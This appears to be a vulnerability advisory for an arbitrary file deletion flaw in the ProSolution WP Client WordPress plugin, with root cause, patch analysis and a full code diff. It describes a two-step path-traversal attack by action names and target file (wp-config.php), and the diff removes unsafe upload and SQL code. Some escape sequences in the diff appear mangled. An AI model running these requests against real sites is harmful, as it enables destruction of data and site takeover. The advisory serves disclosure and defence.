Published : August 16, 2026

CVE-2026-14524: ProSolution WP Client <= 2.0.8 Unauthenticated Arbitrary File Deletion via 'newfilename' and 'filename' Parameters PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.1)
CWE 22
Vulnerable Version 2.0.8
Patched Version 2.0.9
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14524: The ProSolution WP Client plugin for WordPress, versions up to and including 2.0.8, contains an unauthenticated arbitrary file deletion vulnerability. This flaw resides in the proSol_fileDeleteProcess function and allows a remote attacker to delete arbitrary files on the server, potentially leading to remote code execution. The vulnerability is rated as critical with a CVSS score of 9.1.

Root Cause: The vulnerability arises from insufficient validation of the file path in the proSol_fileDeleteProcess function. An attacker can manipulate the ‘filename’ parameter, which is used during file deletion, to traverse directories and target files outside the intended upload directory. The process relies on a session-based upload path that can be poisoned by a prior call to the proSol_fileUploadModalProcess handler with a path-traversal key. This key, stored in the user’s session, defines the base directory for operations, and the subsequent delete operation uses this base path without proper sanitization, allowing an attacker to combine the poisoned base path with a crafted ‘filename’ to delete arbitrary files on the server.

Exploitation: An unauthenticated attacker can exploit this by first sending a POST request to /wp-admin/admin-ajax.php with the action ‘proSol_fileUploadModalProcess’ to poison their session. The request would include a parameter that sets a session key with a path traversal sequence like ‘../../../../’, which defines the base directory for the session. Following this, the attacker sends a second POST request to the same endpoint with the action ‘proSol_fileDeleteProcess’ and a ‘filename’ parameter pointing to a critical file, such as ‘../../../../wp-config.php’. The plugin then deletes the file because it doesn’t adequately validate that the final resolved path remains within the intended upload directory.

Patch Analysis: The patch introduces a new private function, proSol_sanitizeUploadBasename, to validate and sanitize filenames. This function rejects any filename containing path separators (like ‘/’ or ”) or ‘..’ sequences, and ensures the input is a single basename. Another new function, proSol_resolveSafeUploadPath, uses the sanitized basename to construct an absolute path, ensures it starts with the upload base directory, and then verifies the realpath of the file also starts with the realpath of the base directory. The vulnerable file deletion function now uses this new safe path resolution, directly preventing the path traversal attack by rejecting any path that escapes the upload folder.

Impact: Successful exploitation allows an unauthenticated attacker to delete arbitrary files on the WordPress server, including critical application files like wp-config.php. Deleting wp-config.php will render the WordPress site inoperable and force a new installation, but the attacker could achieve remote code execution by deleting .htaccess files or other critical configuration files to weaken security, or by deleting files and symlinking others to gain code execution. This can lead to complete site compromise and, in many cases, full server compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/prosolution-wp-client/admin/class-prosolwpclient-admin.php
+++ b/prosolution-wp-client/admin/class-prosolwpclient-admin.php
@@ -312,7 +312,14 @@
 		 * Ajax table sync
 		 */
 		public function proSol_ajaxTablesync() {
-
+
+			// WOEX-4657 (PS-014): the public portal shares the 'prosolwpclient' nonce, so a nonce
+			// check alone lets any logged-in user (e.g. Subscriber) trigger this admin-only sync.
+			// Authorize by capability first; never treat the public nonce as authorization.
+			if ( ! current_user_can( 'manage_options' ) ) {
+				wp_send_json_error( esc_html__( 'You are not allowed to run this action.', 'prosolution-wp-client' ), 403 );
+			}
+
 			//security check
 			check_ajax_referer( 'prosolwpclient', 'security' );

@@ -358,6 +365,11 @@
 		 * Ajax clear log
 		 */
 		public function proSol_ajaxClearlog() {
+			// WOEX-4657 (PS-014): capability gate before the shared-nonce check (admin-only action).
+			if ( ! current_user_can( 'manage_options' ) ) {
+				wp_send_json_error( esc_html__( 'You are not allowed to run this action.', 'prosolution-wp-client' ), 403 );
+			}
+
 			//security check
 			check_ajax_referer( 'prosolwpclient', 'security' );

@@ -391,10 +403,99 @@
 			return $prosolwpclient_header_info;
 		}

+		/**
+		 * WOEX-4658 (PS-004): SSRF guard for proSol_url_validate().
+		 *
+		 * Only allow a plain http/https URL that points at a public host. Every IP
+		 * the host resolves to is checked so DNS rebinding to an internal address is
+		 * rejected too. Blocks loopback, RFC1918 private ranges, link-local and the
+		 * cloud metadata endpoint (169.254.169.254). Returns true only for safe URLs.
+		 */
+		public static function proSol_isSafeRemoteUrl( $url ) {
+			$url = trim( (string) $url );
+			if ( $url === '' ) {
+				return false;
+			}
+
+			$parts = wp_parse_url( $url );
+			if ( ! is_array( $parts ) || empty( $parts['scheme'] ) || empty( $parts['host'] ) ) {
+				return false;
+			}
+
+			// Only http/https, and never accept URLs that embed credentials.
+			if ( ! in_array( strtolower( $parts['scheme'] ), array( 'http', 'https' ), true ) ) {
+				return false;
+			}
+			if ( isset( $parts['user'] ) || isset( $parts['pass'] ) ) {
+				return false;
+			}
+
+			$host = strtolower( trim( $parts['host'], '[]' ) ); // strip IPv6 brackets
+			$ips  = self::proSol_resolveHostIps( $host );
+			if ( empty( $ips ) ) {
+				return false;
+			}
+
+			foreach ( $ips as $ip ) {
+				if ( ! self::proSol_isPublicIp( $ip ) ) {
+					return false;
+				}
+			}
+
+			return true;
+		}
+
+		/* used in proSol_isSafeRemoteUrl(): resolve a host to every IP it maps to */
+		private static function proSol_resolveHostIps( $host ) {
+			if ( filter_var( $host, FILTER_VALIDATE_IP ) ) {
+				return array( $host ); // already an IP literal
+			}
+
+			$ips = array();
+
+			$ipv4 = @gethostbynamel( $host );
+			if ( is_array( $ipv4 ) ) {
+				$ips = array_merge( $ips, $ipv4 );
+			}
+
+			if ( function_exists( 'dns_get_record' ) ) {
+				$ipv6 = @dns_get_record( $host, DNS_AAAA );
+				if ( is_array( $ipv6 ) ) {
+					foreach ( $ipv6 as $rec ) {
+						if ( ! empty( $rec['ipv6'] ) ) {
+							$ips[] = $rec['ipv6'];
+						}
+					}
+				}
+			}
+
+			return array_values( array_unique( $ips ) );
+		}
+
+		/* used in proSol_isSafeRemoteUrl(): true only for a routable public IP */
+		private static function proSol_isPublicIp( $ip ) {
+			// Rejects loopback, RFC1918 private and reserved (incl. link-local) ranges.
+			if ( ! filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ) ) {
+				return false;
+			}
+
+			// Belt-and-suspenders: explicitly block IPv4 link-local / cloud metadata.
+			if ( filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) && strpos( $ip, '169.254.' ) === 0 ) {
+				return false;
+			}
+
+			return true;
+		}
+
 		/**
 		*Ajax URL validate
 		*/
 		public function proSol_url_validate() {
+			// WOEX-4657 (PS-014): admin-only settings action; block non-privileged callers.
+			if ( ! current_user_can( 'manage_options' ) ) {
+				wp_send_json_error( esc_html__( 'You are not allowed to run this action.', 'prosolution-wp-client' ), 403 );
+			}
+
 			$prosolwpclient_response_data = new stdClass();
 			$urlval = isset( $_POST['urlval'] ) ? filter_var( $_POST['urlval'], FILTER_SANITIZE_STRING ) : '';
 			$userval = isset( $_POST['userval'] ) ? filter_var( $_POST['userval'], FILTER_SANITIZE_STRING ) : '';
@@ -405,8 +506,26 @@

 			$output['error']    = 1;
 			$output['message']  = esc_html__( 'URL is invalid', 'prosolution-wp-client' );
+
+			// WOEX-4658 (PS-004): SSRF guard - refuse to fetch internal / non-public URLs.
+			// Reject before any outbound request so loopback, private, link-local and
+			// cloud-metadata targets can never be reached through this admin action.
+			if ( $prosolwpclient_is_api_setup && ! CBXProSolWpClient_Admin::proSol_isSafeRemoteUrl( $urlval ) ) {
+				echo wp_json_encode( $output ); // error 1 / 'URL is invalid'
+				die();
+			}
+
 			if ( is_array( $prosolwpclient_header_info ) && sizeof( $prosolwpclient_header_info ) > 0 && $prosolwpclient_is_api_setup ) {
-				$prosolwpclient_response_data = wp_remote_get( $urlval . '/go/api/system/list/maritalstatus', array('headers'=>$prosolwpclient_header_info));
+				$prosolwpclient_response_data = wp_remote_get(
+					$urlval . '/go/api/system/list/maritalstatus',
+					array(
+						'headers'             => $prosolwpclient_header_info,
+						'timeout'             => 15,
+						'redirection'         => 0,
+						'reject_unsafe_urls'  => true,
+						'limit_response_size' => 1048576,
+					)
+				);
 			}

 			if ( $prosolwpclient_is_api_setup && !is_wp_error( $prosolwpclient_response_data ) ) {
--- a/prosolution-wp-client/includes/UploadHandler.php
+++ b/prosolution-wp-client/includes/UploadHandler.php
@@ -96,8 +96,9 @@
                 'readfile_chunk_size' => 10 * 1024 * 1024, // 10 MiB
                 // Defines which files can be displayed inline when downloaded:
                 'inline_file_types' => '/.(gif|jpe?g|png)$/i',
-                // Defines which files (based on their names) are accepted for upload:
-                'accept_file_types' => '/.+$/i',
+                // Defines which files (based on their names) are accepted for upload.
+                // Must stay aligned with proSol_fileUploadProcess whitelist (PS-008 / WOEX-4655).
+                'accept_file_types' => '/.(gif|jpe?g|png|webp|pdf|docx?)$/i',
                 // The php.ini settings upload_max_filesize and post_max_size
                 // take precedence over the following max_file_size setting:
                 'max_file_size' => null,
@@ -1323,14 +1324,6 @@
                 return $this->proSol_delete($print_response);
             }
             $upload = $this->proSol_getUploadData($this->options['param_name']);
-            // Parse the Content-Disposition header, if available:
-            $content_disposition_header = $this->proSol_getServerVar('HTTP_CONTENT_DISPOSITION');
-            $file_name = $content_disposition_header ?
-                rawurldecode(preg_replace(
-                                 '/(^[^"]+")|("$)/',
-                                 '',
-                                 $content_disposition_header
-                             )) : null;
             // Parse the Content-Range header, which has the following form:
             // Content-Range: bytes 0-524287/2000000
             $content_range_header = $this->proSol_getServerVar('HTTP_CONTENT_RANGE');
@@ -1341,11 +1334,14 @@
             if ($upload) {
                 if (is_array($upload['tmp_name'])) {
                     // param_name is an array identifier like "files[]",
-                    // $upload is a multi-dimensional array:
+                    // $upload is a multi-dimensional array.
+                    // PS-008 / WOEX-4655: always use multipart part names from $_FILES.
+                    // Never prefer HTTP_CONTENT_DISPOSITION — attackers can set a safe
+                    // multipart filename for validation while forcing a .php on-disk name.
                     foreach ($upload['tmp_name'] as $prosolwpclient_index => $prosolwpclient_value) {
                         $files[] = $this->proSol_handleFileUpload(
                             $upload['tmp_name'][$prosolwpclient_index],
-                            $file_name ? $file_name : $upload['name'][$prosolwpclient_index],
+                            $upload['name'][$prosolwpclient_index],
                             $size ? $size : $upload['size'][$prosolwpclient_index],
                             $upload['type'][$prosolwpclient_index],
                             $upload['error'][$prosolwpclient_index],
@@ -1358,8 +1354,7 @@
                     // $upload is a one-dimensional array:
                     $files[] = $this->proSol_handleFileUpload(
                         isset($upload['tmp_name']) ? $upload['tmp_name'] : null,
-                        $file_name ? $file_name : (isset($upload['name']) ?
-                            $upload['name'] : null),
+                        isset($upload['name']) ? $upload['name'] : null,
                         $size ? $size : (isset($upload['size']) ?
                             $upload['size'] : $this->proSol_getServerVar('CONTENT_LENGTH')),
                         isset($upload['type']) ?
@@ -1369,6 +1364,25 @@
                         $content_range
                     );
                 }
+            } else {
+                // Non-multipart (PUT) uploads only: Content-Disposition may be the sole name source.
+                // Still subject to accept_file_types before anything is written.
+                $content_disposition_header = $this->proSol_getServerVar('HTTP_CONTENT_DISPOSITION');
+                $file_name = $content_disposition_header ?
+                    rawurldecode(preg_replace(
+                                     '/(^[^"]+")|("$)/',
+                                     '',
+                                     $content_disposition_header
+                                 )) : null;
+                $files[] = $this->proSol_handleFileUpload(
+                    null,
+                    $file_name,
+                    $size ? $size : $this->proSol_getServerVar('CONTENT_LENGTH'),
+                    $this->proSol_getServerVar('CONTENT_TYPE'),
+                    null,
+                    null,
+                    $content_range
+                );
             }
             $prosolwpclient_response = array($this->options['param_name'] => $files);
             return $this->proSol_generateResponse($prosolwpclient_response, $print_response);
--- a/prosolution-wp-client/includes/class-prosolwpclient-table-helper.php
+++ b/prosolution-wp-client/includes/class-prosolwpclient-table-helper.php
@@ -220,21 +220,62 @@
 			return $prosolwpclient_response_data;
 		}

-		public static function proSol_cleardatasites() {
-			$remsite='';
-
-			if(isset($_COOKIE['removesite'])){
-				$remsite=$_COOKIE['removesite'];
-				$tablename_arr =  CBXProSolWpClient_Helper::proSol_allTablesArr();
-				global $wpdb;global $prosolwpclient_prefix;
-				foreach($tablename_arr as $tablename => $label){
-					$ps_table_name = $prosolwpclient_prefix.$tablename;
-					$wpdb->query( "DELETE FROM $ps_table_name WHERE site_id in ($remsite) " );
+		/**
+		 * Apply additional-site removal to plugin tables: delete removed site_id rows,
+		 * then remap surviving site_id values to the new contiguous indexes.
+		 *
+		 * @param int[] $deleted_ids Removed site indexes (positive ints).
+		 * @param array $id_map      Map of old_site_id => new_site_id for survivors.
+		 */
+		public static function proSol_applySiteRemovalToTables( array $deleted_ids, array $id_map ) {
+			$deleted_ids = array_values( array_filter( array_map( 'intval', $deleted_ids ), static function( $id ) {
+				return $id > 0;
+			} ) );
+
+			$tablename_arr = CBXProSolWpClient_Helper::proSol_allTablesArr();
+			global $wpdb;
+			global $prosolwpclient_prefix;
+
+			if ( ! empty( $deleted_ids ) ) {
+				$placeholders = implode( ',', array_fill( 0, count( $deleted_ids ), '%d' ) );
+				foreach ( $tablename_arr as $tablename => $label ) {
+					$ps_table_name = $prosolwpclient_prefix . $tablename;
+					$wpdb->query(
+						$wpdb->prepare(
+							"DELETE FROM `{$ps_table_name}` WHERE site_id IN ($placeholders)",
+							$deleted_ids
+						)
+					);
 				}
 			}

+			// Remap in ascending new-index order so the target id is empty (deleted or already moved).
+			asort( $id_map );
+			foreach ( $id_map as $old_id => $new_id ) {
+				$old_id = intval( $old_id );
+				$new_id = intval( $new_id );
+				if ( $old_id <= 0 || $new_id <= 0 || $old_id === $new_id ) {
+					continue;
+				}
+				foreach ( $tablename_arr as $tablename => $label ) {
+					$ps_table_name = $prosolwpclient_prefix . $tablename;
+					$wpdb->query(
+						$wpdb->prepare(
+							"UPDATE `{$ps_table_name}` SET site_id = %d WHERE site_id = %d",
+							$new_id,
+							$old_id
+						)
+					);
+				}
+			}
+		}

-			return $remsite;
+		/**
+		 * Legacy entry point kept for compatibility. Prefer proSol_applySiteRemovalToTables()
+		 * via the settings site-removal processor (WOEX-4656).
+		 */
+		public static function proSol_cleardatasites() {
+			return '';
 		}

 		// project 1440, set custom interval
--- a/prosolution-wp-client/includes/class-setting.php
+++ b/prosolution-wp-client/includes/class-setting.php
@@ -110,6 +110,11 @@
 				//delete_option('site0_prosolwpclient_privacypolicy'); //for remove option manually, uncomment when create new
 				//delete_option('prosolwpclient_designtemplate');
 				//register settings sections
+
+				// WOEX-4656: process additional-site removal BEFORE reading/writing section
+				// options. Must remap all siteN_* keys (not only registered fields) and must
+				// not rely on the api_config oldapi_pass special-save path.
+				$this->proSol_processSiteRemoval();

 				foreach ( $this->settings_sections as $section ) {
 					if ( false == get_option( $section['id'] ) ) {
@@ -153,7 +158,7 @@
 					}
 					add_settings_section( $section['id'], $section['title'], $callback, $section['id'] );
 				}
-
+
 				//register settings fields
 				foreach ( $this->settings_fields as $section => $prosolwpclient_field ) {
 					foreach ( $prosolwpclient_field as $option ) {
@@ -228,49 +233,12 @@

 				$section_value = get_option( $section_id );
 				$fields = $this->settings_fields[ $section_id ];
-
-				//transfer old data to new index site
-				if( isset($_COOKIE['removesite']) && get_option('prosolwpclient_additionalsite')['chkremove']==1){
-					$deletedsite_arr= explode(',' , $_COOKIE['removesite']);
-					$prosolwpclient_totalsite=intval(get_option('prosolwpclient_additionalsite')['valids']);
-
-					//assign new value based on new index for tab prosolwpclient_additionalsite
-					if($section_id=='prosolwpclient_additionalsite'){
-						for($prosolwpclient_x=1;$prosolwpclient_x<=$prosolwpclient_totalsite;$prosolwpclient_x++){
-							$new_index = $this->proSol_getNewIndexAfterSiteRemoval( $prosolwpclient_x );
-							$section_value['addsite'.$prosolwpclient_x] = get_option($section_id)['addsite'.$new_index];
-							$section_value['addsite'.$prosolwpclient_x.'_urlid'] = get_option($section_id)['addsite'.$new_index.'_urlid'];
-						}
-					}
-
-					foreach ( $fields as $prosolwpclient_field ) {
-
-						//assign new value based on new index for setting site only
-						$chksite=substr($prosolwpclient_field['name'],0,4);
-						if($chksite=='site'){
-							$pos = strpos($prosolwpclient_field['name'], '_');
-							$onlyfieldname=substr($prosolwpclient_field['name'],$pos,strlen($prosolwpclient_field['name']));
-							$chksitekey= substr($prosolwpclient_field['name'],4,$pos-4);
-							$new_index = $this->proSol_getNewIndexAfterSiteRemoval( $chksitekey );
-							$section_value[ $prosolwpclient_field['name'] ] = get_option($section_id)['site'.$new_index.$onlyfieldname];
-							// if($section_id=='prosolwpclient_designtemplate'){
-							// 	var_dump($chksitekey);
-							// 	var_dump(get_option('prosolwpclient_languages'));
-							// }
-
-						}

-						if ( ! isset( $section_value[ $prosolwpclient_field['name'] ] ) ) {
-							$section_value[ $prosolwpclient_field['name'] ] = isset( $prosolwpclient_field['default'] ) ? $prosolwpclient_field['default'] : '';
-						}
-					}
-
-				} else{
-
-					foreach ( $fields as $prosolwpclient_field ) {
-						if ( ! isset( $section_value[ $prosolwpclient_field['name'] ] ) ) {
-							$section_value[ $prosolwpclient_field['name'] ] = isset( $prosolwpclient_field['default'] ) ? $prosolwpclient_field['default'] : '';
-						}
+				// Site-removal remapping is handled once by proSol_processSiteRemoval()
+				// before this runs. Here we only fill missing field defaults.
+				foreach ( $fields as $prosolwpclient_field ) {
+					if ( ! isset( $section_value[ $prosolwpclient_field['name'] ] ) ) {
+						$section_value[ $prosolwpclient_field['name'] ] = isset( $prosolwpclient_field['default'] ) ? $prosolwpclient_field['default'] : '';
 					}
 				}

@@ -278,35 +246,167 @@
 			}

 			/**
-			 * Prepares new index site
+			 * Process additional-site removal: remap all per-site option keys and plugin
+			 * table site_id values so survivors become contiguous (e.g. delete site1 →
+			 * old site2 becomes site1 with its own config preserved).
 			 *
-			 * @param $rev_index
+			 * Fixes pre-existing bugs where:
+			 * - api_config remapped values were never saved (oldapi_pass special path)
+			 * - only registered settings fields were remapped (orphaned keys kept old values)
+			 * - DB rows for survivors were not remapped after delete
 			 *
-			 * @return string
+			 * WOEX-4656 / PS-037 / PS-038
 			 */
-			function proSol_getNewIndexAfterSiteRemoval( $rev_index ) {
-				$new_index = $rev_index;
-				if( isset($_COOKIE['removesite']) && get_option('prosolwpclient_additionalsite')['chkremove']==1){
-					$new_index_arr= [];
-					$deletedsite_arr =[];
-					array_push($new_index_arr,'0');
-					$deletedsite_arr= explode(',' , $_COOKIE['removesite']);
-					$prosolwpclient_totalsite=intval(get_option('prosolwpclient_additionalsite')['valids']);
-					//insert new order
-					$totaloldindex=count($deletedsite_arr)+$prosolwpclient_totalsite;
-					for($prosolwpclient_x=1;$prosolwpclient_x<=$totaloldindex;$prosolwpclient_x++){
-						if( !in_array($prosolwpclient_x,$deletedsite_arr) ){
-							array_push($new_index_arr,$prosolwpclient_x);
-						}
-					}
-					//get new index
-					$new_index=$new_index_arr[$rev_index];
-
-					return $new_index;
-				} else{
-					return $new_index;
+			private function proSol_processSiteRemoval() {
+				static $already_ran = false;
+				if ( $already_ran ) {
+					return;
+				}
+				$already_ran = true;
+
+				if ( ! isset( $_COOKIE['removesite'] ) ) {
+					return;
+				}
+				if ( ! function_exists( 'current_user_can' ) || ! function_exists( 'wp_get_current_user' ) ) {
+					return;
+				}
+				if ( ! is_admin() || ! current_user_can( 'manage_options' ) ) {
+					return;
+				}
+
+				$additionalsite = get_option( 'prosolwpclient_additionalsite' );
+				if ( ! is_array( $additionalsite )
+					|| empty( $additionalsite['chkremove'] )
+					|| intval( $additionalsite['chkremove'] ) !== 1 ) {
+					return;
+				}
+
+				$deleted_ids = array_values( array_unique( array_filter(
+					array_map( 'intval', explode( ',', wp_unslash( $_COOKIE['removesite'] ) ) ),
+					static function( $id ) {
+						return $id > 0;
+					}
+				) ) );
+
+				if ( empty( $deleted_ids ) ) {
+					$additionalsite['chkremove'] = '0';
+					update_option( 'prosolwpclient_additionalsite', $additionalsite );
+					$this->proSol_clearRemovesiteCookie();
+					return;
+				}
+
+				$valids_after = intval( isset( $additionalsite['valids'] ) ? $additionalsite['valids'] : 0 );
+				$id_map       = $this->proSol_buildSiteIdMap( $deleted_ids, $valids_after );
+
+				// 1) Tables: delete removed sites, remap survivors.
+				CBXProSolWpClient_TableHelper::proSol_applySiteRemovalToTables( $deleted_ids, $id_map );
+
+				// 2) Options: remap every array option group that may hold siteN_* keys.
+				$option_ids = array(
+					'prosolwpclient_additionalsite',
+					'prosolwpclient_api_config',
+					'prosolwpclient_applicationform',
+					'prosolwpclient_designtemplate',
+					'prosolwpclient_frontend',
+					'prosolwpclient_languages',
+					'prosolwpclient_privacypolicy',
+					'prosolwpclient_tools',
+					'prosolwpclient_joblist',
+				);
+				foreach ( $this->settings_sections as $section ) {
+					if ( ! empty( $section['id'] ) ) {
+						$option_ids[] = $section['id'];
+					}
+				}
+				$option_ids = array_values( array_unique( $option_ids ) );
+
+				foreach ( $option_ids as $option_id ) {
+					$option_value = get_option( $option_id );
+					if ( ! is_array( $option_value ) ) {
+						// Scalars such as encryptionkey / vectorkey are site-agnostic.
+						continue;
+					}
+					$remapped = $this->proSol_remapOptionSiteKeys( $option_value, $id_map, $deleted_ids );
+					if ( $option_id === 'prosolwpclient_additionalsite' ) {
+						$remapped['valids']    = (string) $valids_after;
+						$remapped['chkremove'] = '0';
+					}
+					update_option( $option_id, $remapped );
 				}

+				$this->proSol_clearRemovesiteCookie();
+			}
+
+			/**
+			 * Build old_site_id => new_site_id map for survivors after a removal.
+			 *
+			 * @param int[] $deleted_ids
+			 * @param int   $valids_after Number of additional sites remaining after save.
+			 * @return array
+			 */
+			private function proSol_buildSiteIdMap( array $deleted_ids, $valids_after ) {
+				$deleted_lookup = array_fill_keys( $deleted_ids, true );
+				$old_max        = count( $deleted_ids ) + intval( $valids_after );
+				$map            = array();
+				$new_id         = 1;
+				for ( $old_id = 1; $old_id <= $old_max; $old_id++ ) {
+					if ( isset( $deleted_lookup[ $old_id ] ) ) {
+						continue;
+					}
+					$map[ $old_id ] = $new_id;
+					$new_id++;
+				}
+				return $map;
+			}
+
+			/**
+			 * Remap siteN_* / addsiteN keys; drop deleted indexes; keep master keys.
+			 *
+			 * @param array $option_value
+			 * @param array $id_map      old => new
+			 * @param int[] $deleted_ids
+			 * @return array
+			 */
+			private function proSol_remapOptionSiteKeys( array $option_value, array $id_map, array $deleted_ids ) {
+				$deleted_lookup = array_fill_keys( $deleted_ids, true );
+				$result         = array();
+
+				foreach ( $option_value as $key => $value ) {
+					if ( preg_match( '/^site(d+)_(.+)$/', $key, $m ) ) {
+						$old_id = intval( $m[1] );
+						if ( isset( $deleted_lookup[ $old_id ] ) || ! isset( $id_map[ $old_id ] ) ) {
+							continue;
+						}
+						$result[ 'site' . $id_map[ $old_id ] . '_' . $m[2] ] = $value;
+						continue;
+					}
+
+					if ( preg_match( '/^addsite(d+)(_urlid)?$/', $key, $m ) ) {
+						$old_id = intval( $m[1] );
+						if ( isset( $deleted_lookup[ $old_id ] ) || ! isset( $id_map[ $old_id ] ) ) {
+							continue;
+						}
+						$suffix = isset( $m[2] ) ? $m[2] : '';
+						$result[ 'addsite' . $id_map[ $old_id ] . $suffix ] = $value;
+						continue;
+					}
+
+					$result[ $key ] = $value;
+				}
+
+				return $result;
+			}
+
+			/**
+			 * Expire the removesite cookie so removal does not re-run on the next request.
+			 */
+			private function proSol_clearRemovesiteCookie() {
+				unset( $_COOKIE['removesite'] );
+				if ( ! headers_sent() ) {
+					$path   = defined( 'COOKIEPATH' ) ? COOKIEPATH : '/';
+					$domain = defined( 'COOKIE_DOMAIN' ) ? COOKIE_DOMAIN : '';
+					setcookie( 'removesite', '', time() - YEAR_IN_SECONDS, $path, $domain );
+				}
 			}

 			/**
--- a/prosolution-wp-client/prosolwpclient.php
+++ b/prosolution-wp-client/prosolwpclient.php
@@ -16,7 +16,7 @@
      * Plugin Name:       ProSolution WP Client
      * Plugin URI:        https://prosolution.com/produkte-und-services/workexpert.html
      * Description:       WordPress client for ProSolution
-     * Version:           2.0.8
+     * Version:           2.0.9
      * Author:            ProSolution
      * Author URI:        https://www.prosolution.com
      * License:           GPL-2.0+
@@ -44,7 +44,7 @@


     defined('PROSOLWPCLIENT_PLUGIN_NAME') or define('PROSOLWPCLIENT_PLUGIN_NAME', 'prosolwpclient');
-    defined('PROSOLWPCLIENT_PLUGIN_VERSION') or define('PROSOLWPCLIENT_PLUGIN_VERSION', '2.0.8');
+    defined('PROSOLWPCLIENT_PLUGIN_VERSION') or define('PROSOLWPCLIENT_PLUGIN_VERSION', '2.0.9');
     defined('PROSOLWPCLIENT_BASE_NAME') or define('PROSOLWPCLIENT_BASE_NAME', plugin_basename(__FILE__));
     defined('PROSOLWPCLIENT_ROOT_PATH') or define('PROSOLWPCLIENT_ROOT_PATH', plugin_dir_path(__FILE__));
     defined('PROSOLWPCLIENT_ROOT_URL') or define('PROSOLWPCLIENT_ROOT_URL', plugin_dir_url(__FILE__));
@@ -385,8 +385,9 @@
         $plugin = new CBXProSolWpClient();
 		$plugin->proSol_runs();

-		//remove deleted site's data
-		CBXProSolWpClient_TableHelper::proSol_cleardatasites();
+		// Site-removal cleanup (options remap + table delete/reindex) runs from
+		// CBXProSolWpClient_Settings_API::proSol_processSiteRemoval() on admin_init
+		// after the current user is available (WOEX-4656).
     }

 	// Setting a custom timeout value for cURL. Using a high value for priority to ensure the function runs after any other added to the same action hook.
--- a/prosolution-wp-client/public/class-prosolwpclient-public.php
+++ b/prosolution-wp-client/public/class-prosolwpclient-public.php
@@ -1114,6 +1114,11 @@
 				}
 			}

+			// Defense in depth (PS-008 / WOEX-4655): deny PHP execution under the upload dir (Apache).
+			if ( $folder_exists && is_dir( $prosol_base_dir ) ) {
+				$this->proSol_ensureUploadDirHardening( $prosol_base_dir );
+			}
+
 			return array(
 				'folder_exists'      => $folder_exists,
 				'upload_dir_basedir' => $upload_dir_basedir,
@@ -1124,6 +1129,143 @@
 		}

 		/**
+		 * Write .htaccess (and empty index) so scripts cannot execute from the upload folder.
+		 *
+		 * @param string $prosol_base_dir Absolute path with trailing slash.
+		 */
+		private function proSol_ensureUploadDirHardening( $prosol_base_dir ) {
+			$htaccess = $prosol_base_dir . '.htaccess';
+			if ( ! file_exists( $htaccess ) ) {
+				$rules = "# ProSolution WP Client — block script execution (WOEX-4655 / PS-008)n"
+					. "<IfModule mod_authz_core.c>n"
+					. "  Require all grantedn"
+					. "</IfModule>n"
+					. "<FilesMatch "(?i)\.(php|phtml|php[0-9]|phar|cgi|pl|py|asp|aspx|jsp|shtml)$">n"
+					. "  <IfModule mod_authz_core.c>n"
+					. "    Require all deniedn"
+					. "  </IfModule>n"
+					. "  <IfModule !mod_authz_core.c>n"
+					. "    Order allow,denyn"
+					. "    Deny from alln"
+					. "  </IfModule>n"
+					. "</FilesMatch>n"
+					. "Options -ExecCGI -Indexesn"
+					. "RemoveHandler .php .phtml .php3 .php4 .php5 .php7 .php8 .pharn"
+					. "RemoveType .php .phtml .php3 .php4 .php5 .php7 .php8 .pharn";
+				@file_put_contents( $htaccess, $rules );
+			}
+
+			$index = $prosol_base_dir . 'index.html';
+			if ( ! file_exists( $index ) ) {
+				@file_put_contents( $index, '' );
+			}
+		}
+
+		/**
+		 * Absolute uploads/prosolwpclient/ directory with trailing slash (normalized).
+		 *
+		 * @return string
+		 */
+		private function proSol_getUploadBaseDir() {
+			$upload_dir = wp_upload_dir();
+			return trailingslashit( wp_normalize_path( $upload_dir['basedir'] . '/prosolwpclient' ) );
+		}
+
+		/**
+		 * Reduce a user-supplied upload name to a single safe basename (no traversal).
+		 * Rejects empty values, path separators, and ".." components (PS-009 / CVE-2026-14524).
+		 *
+		 * @param string $filename Raw filename from request or session.
+		 * @return string Safe basename, or empty string if rejected.
+		 */
+		private function proSol_sanitizeUploadBasename( $filename ) {
+			$filename = is_string( $filename ) ? $filename : '';
+			$filename = trim( $filename );
+			if ( $filename === '' ) {
+				return '';
+			}
+
+			// Reject traversal / directory components before basename reduction.
+			if ( strpos( $filename, '..' ) !== false
+				|| strpos( $filename, '/' ) !== false
+				|| strpos( $filename, '\' ) !== false
+				|| strpos( $filename, "" ) !== false
+			) {
+				return '';
+			}
+
+			$basename = wp_basename( $filename );
+			if ( $basename === '' || $basename === '.' || $basename === '..' ) {
+				return '';
+			}
+
+			// Input must already be a basename (identity check after wp_basename).
+			if ( $basename !== $filename ) {
+				return '';
+			}
+
+			return $basename;
+		}
+
+		/**
+		 * Resolve a basename to an absolute path under uploads/prosolwpclient/.
+		 * When the file exists, realpath() must still start with the upload base.
+		 *
+		 * @param string $filename Candidate filename (basename only).
+		 * @param bool   $must_exist When true, return false if the file is missing.
+		 * @return string|false Absolute normalized path, or false if unsafe / missing.
+		 */
+		private function proSol_resolveSafeUploadPath( $filename, $must_exist = true ) {
+			$basename = $this->proSol_sanitizeUploadBasename( $filename );
+			if ( $basename === '' ) {
+				return false;
+			}
+
+			$base = $this->proSol_getUploadBaseDir();
+			if ( ! is_dir( $base ) ) {
+				return false;
+			}
+
+			$candidate = wp_normalize_path( $base . $basename );
+			if ( strpos( $candidate, $base ) !== 0 ) {
+				return false;
+			}
+
+			if ( $must_exist ) {
+				if ( ! is_file( $candidate ) ) {
+					return false;
+				}
+				$real_file = realpath( $candidate );
+				$real_base = realpath( $base );
+				if ( false === $real_file || false === $real_base ) {
+					return false;
+				}
+				$real_file = wp_normalize_path( $real_file );
+				$real_base = trailingslashit( wp_normalize_path( $real_base ) );
+				if ( strpos( $real_file, $real_base ) !== 0 ) {
+					return false;
+				}
+				return $real_file;
+			}
+
+			return $candidate;
+		}
+
+		/**
+		 * Unlink a session-tracked upload only if it resolves under uploads/prosolwpclient/.
+		 *
+		 * @param string $filename Session / request filename key.
+		 * @return bool True if the file was deleted.
+		 */
+		private function proSol_safeUnlinkUpload( $filename ) {
+			$safe_path = $this->proSol_resolveSafeUploadPath( $filename, true );
+			if ( false === $safe_path ) {
+				return false;
+			}
+			return @unlink( $safe_path );
+		}
+
+		/**
 		 * blueimp file upload process
 		 */
